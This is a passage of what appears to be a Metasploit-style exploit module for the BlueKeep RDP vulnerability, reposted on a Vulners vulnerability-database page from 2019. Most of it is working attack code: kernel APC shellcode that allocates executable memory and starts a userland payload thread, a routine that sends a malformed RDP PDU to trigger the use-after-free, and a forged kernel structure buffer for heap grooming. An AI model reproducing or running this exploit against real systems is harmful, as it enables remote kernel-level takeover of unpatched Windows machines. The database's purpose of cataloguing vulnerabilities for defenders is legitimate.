kernel_kapc_routine:  
push rbp  
push rbx  
push rdi  
push rsi  
push r15  
  
mov rbp, [r8] ; *NormalContext is our data area pointer  
  
mov r15, [rbp+#{data_nt_kernel_addr_offset}]  
push rdx  
pop rsi ; mov rsi, rdx  
mov rbx, r9  
  
;======================================  
; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)  
;======================================  
xor eax, eax  
mov cr8, rax ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)  
; rdx is already address of baseAddr  
mov [rdx], rax ; baseAddr = 0  
mov ecx, eax  
not rcx ; ProcessHandle = -1  
mov r8, rax ; ZeroBits  
mov al, 0x40 ; eax = 0x40  
push rax ; PAGE_EXECUTE_READWRITE = 0x40  
shl eax, 6 ; eax = 0x40 << 6 = 0x1000  
push rax ; MEM_COMMIT = 0x1000  
; reuse r9 for address of RegionSize  
mov [r9], rax ; RegionSize = 0x1000  
sub rsp, 0x20 ; shadow stack  
mov edi, #{zwallocatevirtualmemory_hash}  
call win_api_direct  
add rsp, 0x30  
  
; check error  
test eax, eax  
jnz _kernel_kapc_routine_exit  
  
;======================================  
; copy userland payload  
;======================================  
mov rdi, [rsi]  
  
;--------------------------- HACK IN EGG USER ---------  
  
push rdi  
  
lea rsi, [rel shellcode_start]  
mov rdi, 0x#{USERMODE_EGG.to_s(16)}  
  
_find_user_egg_loop:  
sub rsi, 0x#{CHUNK_SIZE.to_s(16)}  
mov rax, [rsi - 8]  
cmp rax, rdi  
jnz _find_user_egg_loop  
  
_inner_find_user_egg_loop:  
inc rsi  
mov rax, [rsi - 8]  
cmp rax, rdi  
jnz _inner_find_user_egg_loop  
  
pop rdi  
;--------------------------- END HACK EGG USER ------------  
  
mov ecx, 0x380 ; fix payload size to 0x380 bytes  
  
rep movsb  
  
;======================================  
; find CreateThread address (in kernel32.dll)  
;======================================  
mov rax, [rbp+#{data_peb_addr_offset}]  
mov rax, [rax + 0x18] ; PEB->Ldr  
mov rax, [rax + 0x20] ; InMemoryOrder list  
  
;lea rsi, [rcx + rdx] ; rsi = ThreadListHead address  
;mov rbx, rsi ; use rbx for iterating thread  
_find_kernel32_dll_loop:  
mov rax, [rax] ; first one always be executable  
; offset 0x38 (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll)  
; offset 0x48 (WORD) => must be 0x18 (name len kernel32.dll)  
; offset 0x50 => is name  
; offset 0x20 => is dllbase  
;cmp word [rax+0x38], 0x40  
;jne _find_kernel32_dll_loop  
cmp word [rax+0x48], 0x18  
jne _find_kernel32_dll_loop  
  
mov rdx, [rax+0x50]  
; check only "32" because name might be lowercase or uppercase  
cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00  
jnz _find_kernel32_dll_loop  
  
;int3  
mov r15, [rax+0x20]  
mov edi, #{createthread_hash}  
call get_proc_addr  
  
; save CreateThread address to SystemArgument1  
mov [rbx], rax  
  
_kernel_kapc_routine_exit:  
xor ecx, ecx  
; clear queueing kapc flag, allow other hijacked system call to run shellcode  
mov byte [rbp+#{data_queueing_kapc_offset}], cl  
; restore IRQL to APC_LEVEL  
mov cl, 1  
mov cr8, rcx  
  
pop r15  
pop rsi  
pop rdi  
pop rbx  
pop rbp  
ret  
  
userland_start_thread:  
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)  
xchg rdx, rax ; rdx is CreateThread address passed from kernel  
xor ecx, ecx ; lpThreadAttributes = NULL  
push rcx ; lpThreadId = NULL  
push rcx ; dwCreationFlags = 0  
mov r9, rcx ; lpParameter = NULL  
lea r8, [rel userland_payload] ; lpStartAddr  
mov edx, ecx ; dwStackSize = 0  
sub rsp, 0x20  
call rax  
add rsp, 0x30  
ret  
  
userland_payload:  
^  
  
[  
KERNELMODE_EGG,  
assemble_with_fixups(asm)  
].pack('<Qa*')  
end  
  
def create_free_trigger(chan_user_id, chan_id)  
# malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)  
vprint_status("Creating free trigger for user #{chan_user_id} on channel #{chan_id}")  
# The extra bytes on the end of the body is what causes the bad things to happen  
body = "\x00\x00\x00\x00\x00\x00\x00\x00\x02" + "\x00" * 22  
rdp_create_channel_msg(chan_user_id, chan_id, body, 3, 0xFFFFFFF)  
end  
  
def create_exploit_channel_buffer(target_addr)  
overspray_addr = target_addr + 0x2000  
shellcode_vtbl = target_addr + HEADER_SIZE  
magic_value1 = overspray_addr + 0x810  
magic_value2 = overspray_addr + 0x48  
magic_value3 = overspray_addr + CHUNK_SIZE + HEADER_SIZE  
  
# first 0x38 bytes are used by DATA PDU packet  
# exploit channel starts at +0x38, which is +0x20 of an _ERESOURCE  
# http://www.tssc.de/winint/Win10_17134_ntoskrnl/_ERESOURCE.htm  
[  
[  
# SystemResourceList (2 pointers, each 8 bytes)  
# Pointer to OWNER_ENTRY (8 bytes)  
# ActiveCount (SHORT, 2 bytes)  
# Flag (WORD, 2 bytes)  
# Padding (BYTE[4], 4 bytes) x64 only  
0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)  
0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)  
magic_value2, # OwnerThread (ULONG, 8 bytes)  
magic_value2, # TableSize (ULONG, 8 bytes)  
0x0, # ActiveEntries (DWORD, 4 bytes)  
0x0, # ContenttionCount (DWORD, 4 bytes)  
0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)  
0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)  
0x0, # Reserved2 (PVOID, 8 bytes) x64 only  
magic_value2, # Address (PVOID, 8 bytes)  
0x0, # SpinLock (UINT_PTR, 8 bytes)  
].pack('<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),  
[  
magic_value2, # SystemResourceList (2 pointers, each 8 bytes)  
magic_value2, # --------------------  
0x0, # Pointer to OWNER_ENTRY (8 bytes)  
0x0, # ActiveCount (SHORT, 2 bytes)  
0x0, # Flag (WORD, 2 bytes)  
0x0, # Padding (BYTE[4], 4 bytes) x64 only  
0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)  
0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)  
magic_value2, # OwnerThread (ULONG, 8 bytes)  
magic_value2, # TableSize (ULONG, 8 bytes)  
0x0, # ActiveEntries (DWORD, 4 bytes)  
0x0, # ContenttionCount (DWORD, 4 bytes)  
0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)  
0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)  
0x0, # Reserved2 (PVOID, 8 bytes) x64 only  
magic_value2, # Address (PVOID, 8 bytes)  
0x0, # SpinLock (UINT_PTR, 8 bytes)  
].pack('<Q<Q<Q<S<S<L<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),  
[  
0x1F, # ClassOffset (DWORD, 4 bytes)  
0x0, # bindStatus (DWORD, 4 bytes)  
0x72, # lockCount1 (QWORD, 8 bytes)  
magic_value3, # connection (QWORD, 8 bytes)  
shellcode_vtbl, # shellcode vtbl ? (QWORD, 8 bytes)  
0x5, # channelClass (DWORD, 4 bytes)  
"MS_T120\x00".encode('ASCII'), # channelName (BYTE[8], 8 bytes)  
0x1F, # channelIndex (DWORD, 4 bytes)  
magic_value1, # channels (QWORD, 8 bytes)  
magic_value1, # connChannelsAddr (POINTER, 8 bytes)  
magic_value1, # list1 (QWORD, 8 bytes)  
magic_value1, # list1 (QWORD, 8 bytes)  
magic_value1, # list2 (QWORD, 8 bytes)  
magic_value1, # list2 (QWORD, 8 bytes)  
0x65756c62, # inputBufferLen (DWORD, 4 bytes)  
0x7065656b, # inputBufferLen (DWORD, 4 bytes)  
magic_value1, # connResrouce (QWORD, 8 bytes)  
0x65756c62, # lockCount158 (DWORD, 4 bytes)  
0x7065656b, # dword15C (DWORD, 4 bytes)  
].pack('<L<L<Q<Q<Q<La*<L<Q<Q<Q<Q<Q<Q<L<L<Q<L<L')  
].join('')  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Sep 2019 00:00Current
10High risk
Vulners AI Score10
EPSS0.99999
2182